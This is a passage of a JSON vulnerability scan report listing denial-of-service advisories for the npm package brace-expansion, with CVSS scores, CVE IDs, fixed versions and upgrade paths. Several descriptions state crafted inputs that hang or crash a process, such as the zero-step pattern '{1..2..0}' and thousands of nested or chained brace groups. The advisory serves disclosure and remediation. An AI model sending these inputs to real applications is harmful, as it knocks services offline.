"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub 